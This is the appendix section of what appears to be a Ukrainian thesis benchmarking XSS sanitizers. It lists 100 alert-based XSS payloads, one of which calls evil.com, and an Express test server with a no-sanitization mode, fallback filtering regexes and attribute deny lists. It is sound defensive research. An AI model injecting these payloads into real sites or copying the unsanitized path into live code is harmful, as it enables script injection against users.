40. Chaudhary, P., Gupta, B. B., & Singh, A. K. (2022). Adaptive cross-site scripting attack detection framework for smart devices security using intelligent filters and attack ontology. Soft Computing, 27(8), 4593–4608. https://doi.org/10.1007/s00500-022-07697-2

41. Omar, F., Ahmed, D., ElNakib, O., Ahmed, M., Farhan, N., Hindy, H., Abdel-Hamid, M., & Badawi, Y. (2023). Towards a User-Friendly Web Application Firewall. In 2023 Eleventh International Conference on Intelligent Computing and Information Systems (ICICIS) (pp. 483–488). 2023 Eleventh International Conference on Intelligent Computing and Information Systems (ICICIS). IEEE. https://doi.org/10.1109/icicis58388.2023.10391117

42. Drakonakis, K., Ioannidis, S., & Polakis, J. (2023). ReScan: A Middleware Framework for Realistic and Robust Black-box Web Application Scanning. In Proceedings

2023 Network and Distributed System Security Symposium. Network and Distributed System Security Symposium. Internet Society. https://doi.org/10.14722/ndss.2023.24169

43. Zhu, M., he, yufeng, Luo, Q., & Shang, X. (2023). Research on XSS adversarial attack model based on reinforcement learning. In S. Zhang & H. Wang (Eds.), Third International Conference on Green Communication, Network, and Internet of Things (CNIoT 2023) (p. 68). Third International Conference on Green Communication, Network, and Internet of Things (CNIoT 2023). SPIE. https://doi.org/10.1117/12.3010555

44. Lella, E., Macchiarulo, N., Pazienza, A., Lofù, D., Abbatecola, A., & Noviello, P. (2023). Improving the Robustness of DNNs-based Network Intrusion Detection Systems through Adversarial Training. In 2023 8th International Conference on Smart and Sustainable Technologies (SpliTech) (pp. 1–6). 2023 8th International Conference on Smart and Sustainable Technologies (SpliTech). IEEE. https://doi.org/10.23919/splitech58164.2023.10193009

45. Bashir, O. A. (2023). Detecting Cross-site Scripting Attacks using Deep Neural Networks. In 2023 3rd International Conference on Computing and Information Technology (ICCIT) (pp. 451–456). 2023 3rd International Conference on Computing and Information Technology (ICCIT). IEEE. https://doi.org/10.1109/iccit58132.2023.10273958

46. Hasegawa, K., Hidano, S., & Fukushima, K. (2023). Automating XSS Vulnerability Testing Using Reinforcement Learning. In Proceedings of the 9th International Conference on Information Systems Security and Privacy (pp. 70–80). 9th International Conference on Information Systems Security and Privacy. SCITEPRESS - Science and Technology Publications. https://doi.org/10.5220/0011653600003405

47. Yao, Y., He, J., Li, T., Wang, Y., Lan, X., & Li, Y. (2024). An Automatic XSS Attack Vector Generation Method Based on the Improved Dueling DDQN Algorithm. IEEE Transactions on Dependable and Secure Computing, 21(4), 2852–2868. https://doi.org/10.1109/tdsc.2023.3319352

48. Applebaum, S., Gaber, T., & Ahmed, A. (2021). Signature-based and Machine-Learning-based Web Application Firewalls: A Short Survey. Procedia Computer Science, 189, 359–367. https://doi.org/10.1016/j.procs.2021.05.105

49. Chen, H.-C., Nshimiyimana, A., Damarjati, C., & Chang, P.-H. (2021). Detection and Prevention of Cross-site Scripting Attack with Combined Approaches. In 2021 International Conference on Electronics, Information, and Communication (ICEIC) (pp. 1–4). 2021 International Conference on Electronics, Information, and Communication (ICEIC). IEEE. https://doi.org/10.1109/iceic51217.2021.9369796

50. Omar, F., Ahmed, D., ElNakib, O., Ahmed, M., Farhan, N., Hindy, H., Abdel-Hamid, M., & Badawi, Y. (2023). Towards a User-Friendly Web Application Firewall. In 2023 Eleventh International Conference on Intelligent Computing and Information Systems (ICICIS) (pp. 483–488). 2023 Eleventh International Conference on Intelligent Computing and Information Systems (ICICIS). IEEE. https://doi.org/10.1109/icicis58388.2023.10391117

51. Rahmawati, T., Shiddiq, R. W., Sumpena, M. R., Setiawan, S., Karna, N., & Hertiana, S. N. (2023). Web Application Firewall Using Proxy and Security Information and Event Management (SIEM) for OWASP Cyber Attack Detection. In 2023 IEEE International Conference on Internet of Things and Intelligence Systems (IoTaIS) (pp. 280–285). 2023 IEEE International Conference on Internet of Things and Intelligence Systems (IoTaIS). IEEE. https://doi.org/10.1109/iotais60147.2023.10346051

52. Zhyrova, Tetyana та Kotenko, Nataliia та Bebeshko, Bohdan та Khorolska, Karyna та Shevchenko, Svitlana (2022) Benchmarking between the DQL Index and the Web Application Accessibility Index using Automatic Test Tools Software: A Systematic Literature Review. Univ Access Inf Soc 21, 2022, pp. 295–324. doi: 10.1007/s10209-020-00751-6

53. Chen, J., Du, H., Wang, Z., Xue, N., Peng, J., & Li, W. (2022). Method for Mining Security Vulnerabilities of Data Storage of Electric Power Internet of Things Based On Spark Framework and RASP Technology. In 2022 International Conference on Knowledge

Engineering and Communication Systems (ICKES) (pp. 1–5). 2022 International Conference on Knowledge Engineering and Communication Systems (ICKECS). IEEE. https://doi.org/10.1109/ickecs56523.2022.10059626

54. Klein, D., Barber, T., Bensalim, S., Stock, B., & Johns, M. (2022). Hand Sanitizers in the Wild: A Large-scale Study of Custom JavaScript Sanitizer Functions. In 2022 IEEE 7th European Symposium on Security and Privacy (EuroS&P) (pp. 236–250). 2022 IEEE 7th European Symposium on Security and Privacy (EuroS&P). IEEE. https://doi.org/10.1109/eurosp53844.2022.00023

55. Соколов, В., Поліковський, Б., Ворохоб, М., & Цируль, О. (2025). Дослідження ефективності бібліотек санітизації для XSS-атак в веб-додатках. Кібербезпека: освіта, наука, техніка, 3(31), 801–819. https://doi.org/10.28925/2663-4023.2025.31.1076

56. Жданова, Ю. Д., Складанний, П. М., & Шевченко, С. М. (2023). Методичні рекомендації до виконання та захисту кваліфікаційної роботи магістра для студентів спеціальності 125 Кібербезпека та захист інформації. https://elibrary.kubg.edu.ua/id/eprint/46009/1/Y_Zhdanova_P_Skladannyi_S_Shevchenko_MR_Master_2023_FITM.pdf

ДОДАТКИ

Додаток А. Набір тестових XSS

```
const xssPayloads = [
  // Basic Categories
  {
    id: 1,
    category: "script_tag",
    name: "Basic Script Tag",
    payload: "<script>alert('XSS')</script>",
    description: "Basic script tag injection"
  },
  {
    id: 2,
    category: "script_tag",
    name: "Script with Source",
    payload: "<script src='javascript:alert(\"XSS\")'></script>",
    description: "Script tag with external source"
  },
  {
    id: 3,
    category: "script_tag",
    name: "Encoded Script",
    payload: "<script>alert(String.fromCharCode(88,83,83))</script>",
    description: "Script with encoded characters"
  },
  {
    id: 4,
    category: "event_handler",
    name: "OnClick Event",
    payload: "<img src=x onerror=alert('XSS')>",
    description: "Image with onerror event handler"
  },
  {
    id: 5,
    category: "event_handler",
    name: "OnLoad Event",
    payload: "<body onload=alert('XSS')>",
    description: "Body onload event handler"
  },
  {
    id: 6,
```

```
  category: "event_handler",
  name: "OnMouseOver Event",
  payload: "<div onmouseover=alert('XSS')>Hover me</div>",
  description: "Mouseover event handler"
},
{
  id: 7,
  category: "event_handler",
  name: "OnFocus Event",
  payload: "<input onfocus=alert('XSS') autofocus>",
  description: "Input focus event handler"
},
{
  id: 8,
  category: "svg_vector",
  name: "SVG Script",
  payload: "<svg onload=alert('XSS')>",
  description: "SVG with onload event"
},
{
  id: 9,
  category: "svg_vector",
  name: "SVG Foreign Object",
  payload: "<svg><foreignObject><script>alert('XSS')</script></foreignObject></svg>",
  description: "SVG foreign object script"
},
{
  id: 10,
  category: "svg_vector",
  name: "SVG Animation",
  payload: "<svg><animate onbegin=alert('XSS') attributeName=x dur=1s>",
  description: "SVG animation event"
},
{
  id: 11,
  category: "javascript_url",
  name: "JavaScript Protocol",
  payload: "<a href='javascript:alert(\"XSS\")'>Click me</a>",
  description: "JavaScript protocol URL"
},
{
  id: 12,
  category: "javascript_url",
  name: "JavaScript Protocol Encoded",
```

```
  payload: "<a href='javascript:alert(String.fromCharCode(88,83,83))'>Click me</a>",
  description: "JavaScript protocol with encoding"
},
{
  id: 13,
  category: "form_action",
  name: "Form Action",
  payload: "<form action='javascript:alert(\"XSS\")'><input type=submit></form>",
  description: "Form action JavaScript"
},
{
  id: 14,
  category: "data_attribute",
  name: "Data Attribute",
  payload: "<div data-xss='<script>alert(\"XSS\")</script>'>Data</div>",
  description: "Data attribute injection"
},
{
  id: 15,
  category: "object_embed",
  name: "Object Tag",
  payload: "<object data='javascript:alert(\"XSS\")'>",
  description: "Object tag with JavaScript"
},
{
  id: 16,
  category: "object_embed",
  name: "Embed Tag",
  payload: "<embed src='javascript:alert(\"XSS\")'>",
  description: "Embed tag with JavaScript"
},
{
  id: 17,
  category: "meta_refresh",
  name: "Meta Refresh",
  payload: "<meta http-equiv='refresh' content='0;url=javascript:alert(\"XSS\")'>",
  description: "Meta refresh with JavaScript"
},
{
  id: 18,
  category: "conditional_comment",
  name: "IE Conditional Comment",
  payload: "<!--[if IE]><script>alert('XSS')</script><![endif]-->",
  description: "IE conditional comment"
```

```
},
{
  id: 19,
  category: "deprecated_tag",
  name: "Applet Tag",
  payload: "<applet code='javascript:alert(\"XSS\")'>",
  description: "Deprecated applet tag"
},
{
  id: 20,
  category: "custom_tag",
  name: "Custom Tag",
  payload: "<customtag onload=alert('XSS')>",
  description: "Custom HTML tag"
},
{
  id: 21,
  category: "css_injection",
  name: "CSS Expression",
  payload: "<div style='background:url(javascript:alert(\"XSS\"))'>",
  description: "CSS background with JavaScript"
},
{
  id: 22,
  category: "css_injection",
  name: "CSS Import",
  payload: "<style>@import 'javascript:alert(\"XSS\")';</style>",
  description: "CSS import with JavaScript"
},
{
  id: 23,
  category: "url_encoded",
  name: "URL Encoded",
  payload: "%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E",
  description: "URL encoded script tag"
},
{
  id: 24,
  category: "data_uri",
  name: "Data URI",
  payload: "<iframe src='data:text/html,<script>alert(\"XSS\")</script>'>",
  description: "Data URI with script"
},
{
```

```
        id: 25,
        category: "css_animation",
        name: "CSS Animation",
        payload: "<div style='animation:test 1s' onanimationstart=alert('XSS')>",
        description: "CSS animation event"
      },
      {
        id: 26,
        category: "css_transition",
        name: "CSS Transition",
        payload: "<div style='transition:all 1s' ontransitionend=alert('XSS')>",
        description: "CSS transition event"
      },
      {
        id: 27,
        category: "template_tag",
        name: "Template Tag",
        payload: "<template><script>alert('XSS')</script></template>",
        description: "Template tag with script"
      },
      {
        id: 28,
        category: "dom_clobbering",
        name: "DOM Clobbering",
        payload: "<form><input name=attributes><input name=attributes>",
        description: "DOM clobbering attack"
      },
      {
        id: 29,
        category: "prototype_pollution",
        name: "Prototype Pollution",
        payload: "<script>Object.prototype.polluted='XSS';alert(polluted)</script>",
        description: "Prototype pollution attack"
      },
      {
        id: 30,
        category: "webassembly",
        name: "WebAssembly",
        payload:                                          "<script>WebAssembly.instantiate(new
Uint8Array([0,97,115,109,1,0,0,0]))</script>",
        description: "WebAssembly instantiation"
      },
      {
        id: 31,
```

```
          category: "service_worker",
          name: "Service Worker",
          payload:
"<script>navigator.serviceWorker.register('data:text/javascript,alert(\"XSS\")')</script>",
          description: "Service Worker registration"
        },
        {
          id: 32,
          category: "webgl",
          name: "WebGL Context",
          payload: "<canvas onload=alert('XSS')></canvas>",
          description: "WebGL context attack"
        },
        {
          id: 33,
          category: "web_components",
          name: "Web Components",
          payload:             "<script>customElements.define('x-elem',class             extends
HTMLElement{connectedCallback(){alert('XSS')}})</script><x-elem>",
          description: "Custom Web Component"
        },
        {
          id: 34,
          category: "shadow_dom",
          name: "Shadow DOM",
          payload:
"<script>document.body.attachShadow({mode:'open'}).innerHTML='<script>alert(\"XSS\")</script>'<
/script>",
          description: "Shadow DOM injection"
        },
        {
          id: 35,
          category: "iframe_sandbox",
          name: "Iframe Sandbox",
          payload:                        "<iframe                        sandbox='allow-scripts'
src='data:text/html,<script>alert(\"XSS\")</script>'></iframe>",
          description: "Iframe sandbox bypass"
        },
        {
          id: 36,
          category: "postmessage",
          name: "PostMessage",
          payload: "<script>window.postMessage('<script>alert(\"XSS\")</script>','*')</script>",
          description: "PostMessage attack"
```

```
        },
        {
          id: 37,
          category: "local_storage",
          name: "LocalStorage",
          payload:
"<script>localStorage.setItem('xss','<script>alert(\"XSS\")</script>');eval(localStorage.getIte
m('xss'))</script>",
          description: "LocalStorage XSS"
        },
        {
          id: 38,
          category: "session_storage",
          name: "SessionStorage",
          payload:
"<script>sessionStorage.setItem('xss','<script>alert(\"XSS\")</script>');eval(sessionStorage.ge
tItem('xss'))</script>",
          description: "SessionStorage XSS"
        },
        {
          id: 39,
          category: "indexeddb",
          name: "IndexedDB",
          payload:                                                                    "<script>let
db=indexedDB.open('xss');db.onsuccess=()=>{alert('XSS')}</script>",
          description: "IndexedDB attack"
        },
        {
          id: 40,
          category: "websocket",
          name: "WebSocket",
          payload: "<script>new WebSocket('ws://evil.com').onopen=()=>alert('XSS')</script>",
          description: "WebSocket attack"
        },
        {
          id: 41,
          category: "web_rtc",
          name: "WebRTC",
          payload:                                                                    "<script>new
RTCPeerConnection().createDataChannel('xss').onopen=()=>alert('XSS')</script>",
          description: "WebRTC attack"
        },
        {
          id: 42,
```

```
          category: "geolocation",
          name: "Geolocation",
          payload:
"<script>navigator.geolocation.getCurrentPosition(()=>alert('XSS'))</script>",
          description: "Geolocation API attack"
        },
        {
          id: 43,
          category: "camera_mic",
          name: "Camera/Microphone",
          payload:
"<script>navigator.mediaDevices.getUserMedia({video:true}).then(()=>alert('XSS'))</script>",
          description: "Camera/Microphone access"
        },
        {
          id: 44,
          category: "notification",
          name: "Notification",
          payload:                        "<script>Notification.requestPermission().then(()=>new
Notification('XSS'))</script>",
          description: "Notification API attack"
        },
        {
          id: 45,
          category: "clipboard",
          name: "Clipboard",
          payload:
"<script>navigator.clipboard.writeText('<script>alert(\"XSS\")</script>')</script>",
          description: "Clipboard API attack"
        },
        {
          id: 46,
          category: "fetch_api",
          name: "Fetch API",
          payload: "<script>fetch('javascript:alert(\"XSS\")')</script>",
          description: "Fetch API attack"
        },
        {
          id: 47,
          category: "blob_url",
          name: "Blob URL",
          payload:                                              "<script>URL.createObjectURL(new
Blob(['<script>alert(\"XSS\")</script>']))</script>",
          description: "Blob URL attack"
```

```
        },
        {
          id: 48,
          category: "file_api",
          name: "File API",
          payload: "<input type=file onchange=alert('XSS')>",
          description: "File API attack"
        },
        {
          id: 49,
          category: "drag_drop",
          name: "Drag and Drop",
          payload: "<div draggable=true ondragstart=alert('XSS')>Drag me</div>",
          description: "Drag and Drop attack"
        },
        {
          id: 50,
          category: "fullscreen",
          name: "Fullscreen",
          payload:
"<script>document.documentElement.requestFullscreen().then(()=>alert('XSS'))</script>",
          description: "Fullscreen API attack"
        },
        {
          id: 51,
          category: "pointer_lock",
          name: "Pointer Lock",
          payload: "<script>document.body.requestPointerLock().then(()=>alert('XSS'))</script>",
          description: "Pointer Lock attack"
        },
        {
          id: 52,
          category: "battery_api",
          name: "Battery API",
          payload: "<script>navigator.getBattery().then(()=>alert('XSS'))</script>",
          description: "Battery API attack"
        },
        {
          id: 53,
          category: "device_orientation",
          name: "Device Orientation",
          payload:
"<script>window.addEventListener('deviceorientation',()=>alert('XSS'))</script>",
          description: "Device Orientation attack"
```

```
        },
        {
          id: 54,
          category: "vibration",
          name: "Vibration",
          payload: "<script>navigator.vibrate([100,50,100]);alert('XSS')</script>",
          description: "Vibration API attack"
        },
        {
          id: 55,
          category: "speech_synthesis",
          name: "Speech Synthesis",
          payload:                                          "<script>speechSynthesis.speak(new
SpeechSynthesisUtterance('XSS'))</script>",
          description: "Speech Synthesis attack"
        },
        {
          id: 56,
          category: "web_animations",
          name: "Web Animations",
          payload:
"<script>document.body.animate([{transform:'scale(1)'},{transform:'scale(2)'}],1000).onfinish=(
)=>alert('XSS')</script>",
          description: "Web Animations attack"
        },
        {
          id: 57,
          category: "intersection_observer",
          name: "Intersection Observer",
          payload:                                                                  "<script>new
IntersectionObserver(()=>alert('XSS')).observe(document.body)</script>",
          description: "Intersection Observer attack"
        },
        {
          id: 58,
          category: "web_crypto",
          name: "Web Crypto API",
          payload:                                "<script>crypto.subtle.generateKey({name:'AES-
GCM',length:128},false,['encrypt']).then(()=>alert('XSS'))</script>",
          description: "Web Crypto API attack"
        },
        {
          id: 59,
          category: "resize_observer",
```

```
          name: "Resize Observer",
          payload:                                                                    "<script>new
ResizeObserver(()=>alert('XSS')).observe(document.body)</script>",
          description: "Resize Observer attack"
        },
        {
          id: 60,
          category: "performance_observer",
          name: "Performance Observer",
          payload:                                                                    "<script>new
PerformanceObserver(()=>alert('XSS')).observe({entryTypes:['measure']})</script>",
          description: "Performance Observer attack"
        },
        {
          id: 61,
          category: "web_workers",
          name: "Web Workers",
          payload: "<script>new Worker('data:text/javascript,alert(\"XSS\")')</script>",
          description: "Web Workers attack"
        },
        {
          id: 62,
          category: "shared_workers",
          name: "Shared Workers",
          payload: "<script>new SharedWorker('data:text/javascript,alert(\"XSS\")')</script>",
          description: "Shared Workers attack"
        },
        {
          id: 63,
          category: "service_workers_advanced",
          name: "Advanced Service Worker",
          payload:
"<script>navigator.serviceWorker.register('data:text/javascript,self.onmessage=e=>eval(e.data)'
).then(()=>navigator.serviceWorker.controller.postMessage('alert(\"XSS\")'))</script>",
          description: "Advanced Service Worker attack"
        },
        {
          id: 64,
          category: "web_assembly_advanced",
          name: "Advanced WebAssembly",
          payload:                                                "<script>WebAssembly.instantiate(new
Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,7,4,1,0,2,0,0,10,8,1,6,0,65,0,16,0,11])).
then(()=>alert('XSS'))</script>",
          description: "Advanced WebAssembly attack"
```

```
    },
    {
      id: 65,
      category: "webgl_advanced",
      name: "Advanced WebGL",
      payload: "<canvas id=c></canvas><script>c.getContext('webgl').getParameter(c.getContext('webgl').VERSION);alert('XSS')</script>",
      description: "Advanced WebGL attack"
    },
    {
      id: 66,
      category: "web_components_advanced",
      name: "Advanced Web Components",
      payload: "<script>class XElem extends HTMLElement{constructor(){super();this.innerHTML='<script>alert(\"XSS\")</script>'}}customElements.define('x-elem',XElem)</script><x-elem>",
      description: "Advanced Web Components attack"
    },
    {
      id: 67,
      category: "shadow_dom_advanced",
      name: "Advanced Shadow DOM",
      payload: "<script>let shadow=document.body.attachShadow({mode:'open'});shadow.innerHTML='<script>alert(\"XSS\")</script>'</script>",
      description: "Advanced Shadow DOM attack"
    },
    {
      id: 68,
      category: "custom_elements",
      name: "Custom Elements",
      payload: "<script>customElements.define('x-elem',class extends HTMLElement{connectedCallback(){this.innerHTML='<script>alert(\"XSS\")</script>'}})</script><x-elem>",
      description: "Custom Elements attack"
    },
    {
      id: 69,
      category: "template_literals",
      name: "Template Literals",
      payload: "<script>eval(`alert('XSS')`)</script>",
      description: "Template Literals attack"
    },
```

```
        {
          id: 70,
          category: "proxy_objects",
          name: "Proxy Objects",
          payload: "<script>new Proxy({},{get:()=>alert('XSS')}).x</script>",
          description: "Proxy Objects attack"
        },
        {
          id: 71,
          category: "symbols",
          name: "Symbols",
          payload:                                                                "<script>let
s=Symbol.for('xss');Object.prototype[s]=()=>alert('XSS');window[s]()</script>",
          description: "Symbols attack"
        },
        {
          id: 72,
          category: "generators",
          name: "Generators",
          payload: "<script>function*g(){yield alert('XSS')}g().next()</script>",
          description: "Generators attack"
        },
        {
          id: 73,
          category: "async_await",
          name: "Async/Await",
          payload:           "<script>async           function           f(){await           new
Promise(r=>setTimeout(r,0));alert('XSS')}f()</script>",
          description: "Async/Await attack"
        },
        {
          id: 74,
          category: "modules",
          name: "ES6 Modules",
          payload: "<script type=module>import('data:text/javascript,alert(\"XSS\")')</script>",
          description: "ES6 Modules attack"
        },
        {
          id: 75,
          category: "dynamic_import",
          name: "Dynamic Import",
          payload: "<script>import('data:text/javascript,alert(\"XSS\")')</script>",
          description: "Dynamic Import attack"
        },
```

```
        {
          id: 76,
          category: "top_level_await",
          name: "Top Level Await",
          payload:                "<script                type=module>await                new
Promise(r=>setTimeout(r,0));alert('XSS')</script>",
          description: "Top Level Await attack"
        },
        {
          id: 77,
          category: "script_tag",
          name: "Script with Defer",
          payload: "<script defer>alert('XSS')</script>",
          description: "Script tag with defer attribute"
        },
        {
          id: 78,
          category: "script_tag",
          name: "Script with Async",
          payload: "<script async>alert('XSS')</script>",
          description: "Script tag with async attribute"
        },
        {
          id: 79,
          category: "event_handler",
          name: "OnInput Event",
          payload: "<input oninput=alert('XSS')>",
          description: "Input event handler"
        },
        {
          id: 80,
          category: "event_handler",
          name: "OnChange Event",
          payload: "<select onchange=alert('XSS')><option>1</option></select>",
          description: "Change event handler"
        },
        {
          id: 81,
          category: "event_handler",
          name: "OnSubmit Event",
          payload: "<form onsubmit=alert('XSS')><input type=submit></form>",
          description: "Form submit event handler"
        },
        {
```

```
  id: 82,
  category: "event_handler",
  name: "OnReset Event",
  payload: "<form onreset=alert('XSS')><input type=reset></form>",
  description: "Form reset event handler"
},
{
  id: 83,
  category: "event_handler",
  name: "OnKeyDown Event",
  payload: "<input onkeydown=alert('XSS')>",
  description: "Keydown event handler"
},
{
  id: 84,
  category: "event_handler",
  name: "OnKeyUp Event",
  payload: "<input onkeyup=alert('XSS')>",
  description: "Keyup event handler"
},
{
  id: 85,
  category: "event_handler",
  name: "OnKeyPress Event",
  payload: "<input onkeypress=alert('XSS')>",
  description: "Keypress event handler"
},
{
  id: 86,
  category: "event_handler",
  name: "OnContextMenu Event",
  payload: "<div oncontextmenu=alert('XSS')>Right click me</div>",
  description: "Context menu event handler"
},
{
  id: 87,
  category: "event_handler",
  name: "OnDoubleClick Event",
  payload: "<div ondblclick=alert('XSS')>Double click me</div>",
  description: "Double click event handler"
},
{
  id: 88,
  category: "event_handler",
```

```
  name: "OnMouseOut Event",
  payload: "<div onmouseout=alert('XSS')>Move mouse out</div>",
  description: "Mouse out event handler"
},
{
  id: 89,
  category: "event_handler",
  name: "OnMouseDown Event",
  payload: "<div onmousedown=alert('XSS')>Mouse down</div>",
  description: "Mouse down event handler"
},
{
  id: 90,
  category: "event_handler",
  name: "OnMouseUp Event",
  payload: "<div onmouseup=alert('XSS')>Mouse up</div>",
  description: "Mouse up event handler"
},
{
  id: 91,
  category: "event_handler",
  name: "OnMouseMove Event",
  payload: "<div onmousemove=alert('XSS')>Move mouse</div>",
  description: "Mouse move event handler"
},
{
  id: 92,
  category: "event_handler",
  name: "OnMouseEnter Event",
  payload: "<div onmouseenter=alert('XSS')>Mouse enter</div>",
  description: "Mouse enter event handler"
},
{
  id: 93,
  category: "event_handler",
  name: "OnMouseLeave Event",
  payload: "<div onmouseleave=alert('XSS')>Mouse leave</div>",
  description: "Mouse leave event handler"
},
{
  id: 94,
  category: "event_handler",
  name: "OnWheel Event",
  payload: "<div onwheel=alert('XSS')>Scroll me</div>",
```

```
  description: "Wheel event handler"
},
{
  id: 95,
  category: "event_handler",
  name: "OnTouchStart Event",
  payload: "<div ontouchstart=alert('XSS')>Touch me</div>",
  description: "Touch start event handler"
},
{
  id: 96,
  category: "event_handler",
  name: "OnTouchEnd Event",
  payload: "<div ontouchend=alert('XSS')>Touch end</div>",
  description: "Touch end event handler"
},
{
  id: 97,
  category: "event_handler",
  name: "OnTouchMove Event",
  payload: "<div ontouchmove=alert('XSS')>Touch move</div>",
  description: "Touch move event handler"
},
{
  id: 98,
  category: "event_handler",
  name: "OnTouchCancel Event",
  payload: "<div ontouchcancel=alert('XSS')>Touch cancel</div>",
  description: "Touch cancel event handler"
},
{
  id: 99,
  category: "event_handler",
  name: "OnScroll Event",
  payload: "<div onscroll=alert('XSS') style='height:100px;'>Scroll me</div>",
  description: "Scroll event handler"
},
{
  id: 100,
  category: "event_handler",
  name: "OnResize Event",
  payload: "<div onresize=alert('XSS')>Resize me</div>",
  description: "Resize event handler"
}
```

Додаток Б. Код тестової автоматизованної программи

Б.1 Server.js

```
const express = require('express');
const path = require('path');
const cors = require('cors');
const helmet = require('helmet');
const DOMPurify = require('dompurify');
const xss = require('xss');
const sanitizeHtml = require('sanitize-html');
const { JSDOM } = require('jsdom');
const xssPayloads = require('./payloads');
const app = express();
const PORT = process.env.PORT || 3003;

// Middleware
app.use(helmet({
  contentSecurityPolicy: false,
  crossOriginEmbedderPolicy: false
}));
app.use(cors());
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static('public'));

// In-memory storage for test results
let testResults = [];

// Create DOM environment for DOMPurify
const window = new JSDOM('').window;
const purify = DOMPurify(window);

// Sanitization functions
const sanitizers = {
  none: (input) => {
    // No sanitization - return input as-is for testing raw XSS
    return input;
  },
  dompurify: (input) => {
    return purify.sanitize(input, {
      FORBID_TAGS: [],
      FORBID_ATTR: []
      //FORBID_TAGS: ['script', 'object', 'embed', 'form'],
```

```
            //FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'onmouseout',
'onmousemove', 'onmousedown', 'onmouseup', 'onmouseenter', 'onmouseleave', 'onfocus', 'onblur',
'onkeydown', 'onkeyup', 'onkeypress', 'onload', 'onunload', 'onresize', 'onscroll', 'onselect',
'ondblclick', 'oncontextmenu', 'onwheel', 'ontouchstart', 'ontouchend', 'ontouchmove',
'ontouchcancel', 'ondragstart', 'ondragend', 'ondragover', 'ondrop', 'oninput', 'onchange',
'onsubmit', 'onreset']
        });
      },
      xss: (input) => {
        return xss(input);
      },
      sanitizeHtml: (input) => {
        return sanitizeHtml(input, {
          allowedTags: [],
          allowedAttributes: {}
        });
      },
      owasp: async (input) => {
        // Call Java OWASP HTML Sanitizer service
        try {
          const response = await fetch('http://localhost:5001', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ input: input })
          });

          if (response.ok) {
            const result = await response.json();
            return result.sanitized;
          } else {
            console.error('Java OWASP sanitizer service error:', response.status);
            // Fallback to basic sanitization
            return input.replace(/<script[^>]*>.*?<\/script>/gi, '')
                        .replace(/javascript:/gi, '')
                        .replace(/on\w+\s*=/gi, '');
          }
        } catch (error) {
          console.error('Failed to call Java OWASP sanitizer service:', error.message);
          // Fallback to basic sanitization
          return input.replace(/<script[^>]*>.*?<\/script>/gi, '')
                      .replace(/javascript:/gi, '')
                      .replace(/on\w+\s*=/gi, '');
```

```
    }
  }
};

// Helper function to check if XSS was blocked
function isXSSBlocked(originalPayload, sanitizedPayload, sanitizer) {
  // For 'none' sanitizer, XSS is never blocked
  if (sanitizer === 'none') {
    return false;
  }

  // Check if script tags were removed
  if (originalPayload.includes('<script') && !sanitizedPayload.includes('<script')) {
    return true;
  }

  // Check if event handlers were removed
  const eventHandlers = /on\w+\s*=/gi;
  if (eventHandlers.test(originalPayload) && !eventHandlers.test(sanitizedPayload)) {
    return true;
  }

  // Check if javascript: protocol was removed
 if (originalPayload.includes('javascript:') && !sanitizedPayload.includes('javascript:'))
{
    return true;
  }

  // Check if dangerous attributes were removed
  const dangerousAttrs = /(src|href|action|data)\s*=\s*['"]*javascript:/gi;
  if (dangerousAttrs.test(originalPayload) && !dangerousAttrs.test(sanitizedPayload)) {
    return true;
  }

  return false;
}

// Routes
app.get('/', (req, res) => {
  res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

// Test endpoint
app.get('/test/:sanitizer/:payloadId', async (req, res) => {
```

```
    const { sanitizer, payloadId } = req.params;
    const { csp, debug, autoClose, q } = req.query;

    // Find the payload
    const payload = xssPayloads.find(p => p.id === parseInt(payloadId));
    if (!payload) {
      return res.status(404).json({ error: 'Payload not found' });
    }

    // Check if sanitizer exists
    if (!sanitizers[sanitizer]) {
      return res.status(404).json({ error: 'Sanitizer not found' });
    }

    // Get the input (from query parameter or payload)
    const input = q || payload.payload;

    // Sanitize the input and measure timing and memory usage
    const sanitizeStartTime = process.hrtime.bigint();
    const memoryBefore = process.memoryUsage();
    //console.log(`Sanitizing input...sanitizeStartTime: ${sanitizeStartTime}`);
    const sanitized = await sanitizers[sanitizer](input);
    const sanitizeEndTime = process.hrtime.bigint();
    const memoryAfter = process.memoryUsage();
    //console.log(`Sanitizing input...sanitizeEndTime: ${sanitizeEndTime}`);

   const sanitizeTimeNs = Number(sanitizeEndTime - sanitizeStartTime); // Keep in nanoseconds
for precision
    const sanitizeTimeMs = sanitizeTimeNs / 1000000; // Convert nanoseconds to milliseconds

    // Calculate memory usage differences
    const memoryUsage = {
      rssBefore: memoryBefore.rss,
      rssAfter: memoryAfter.rss,
      rssDelta: memoryAfter.rss - memoryBefore.rss,
      heapUsedBefore: memoryBefore.heapUsed,
      heapUsedAfter: memoryAfter.heapUsed,
      heapUsedDelta: memoryAfter.heapUsed - memoryBefore.heapUsed
    };

    // Check if XSS was blocked
    const blocked = isXSSBlocked(input, sanitized, sanitizer);

    // Log the test result
```

```
        const testResult = {
          id: Date.now(),
          timestamp: new Date().toISOString(),
          sanitizer,
          payloadId: parseInt(payloadId),
          payloadName: payload.name,
          payloadCategory: payload.category,
          originalPayload: input,
          sanitizedPayload: sanitized,
          blocked,
          sanitizeTimeNs: sanitizeTimeNs,
          sanitizeTimeMs: sanitizeTimeMs,
          memoryUsage: memoryUsage,
          csp: csp === 'true',
          debug: debug === 'true',
          autoClose: autoClose !== 'false',
          query: q
        };

        testResults.push(testResult);

        // Set CSP header if requested
        if (csp === 'true') {
          // no unsafe-inline
             //res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'
'unsafe-eval'; style-src 'self';");
          // added back unsafe-inline
         res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self' 'unsafe-
inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';");
        }

        // Generate HTML response
        let html = `
          <!DOCTYPE html>
          <html lang="en">
          <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>XSS Test - ${payload.name}</title>
            <style>
              body {
                font-family: Arial, sans-serif;
                max-width: 1200px;
                margin: 0 auto;
```

```
  padding: 20px;
  background-color: #f5f5f5;
}
.container {
  background: white;
  padding: 20px;
  border-radius: 8px;
  box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.header {
  border-bottom: 2px solid #e0e0e0;
  padding-bottom: 15px;
  margin-bottom: 20px;
}
.test-info {
  background: #f8f9fa;
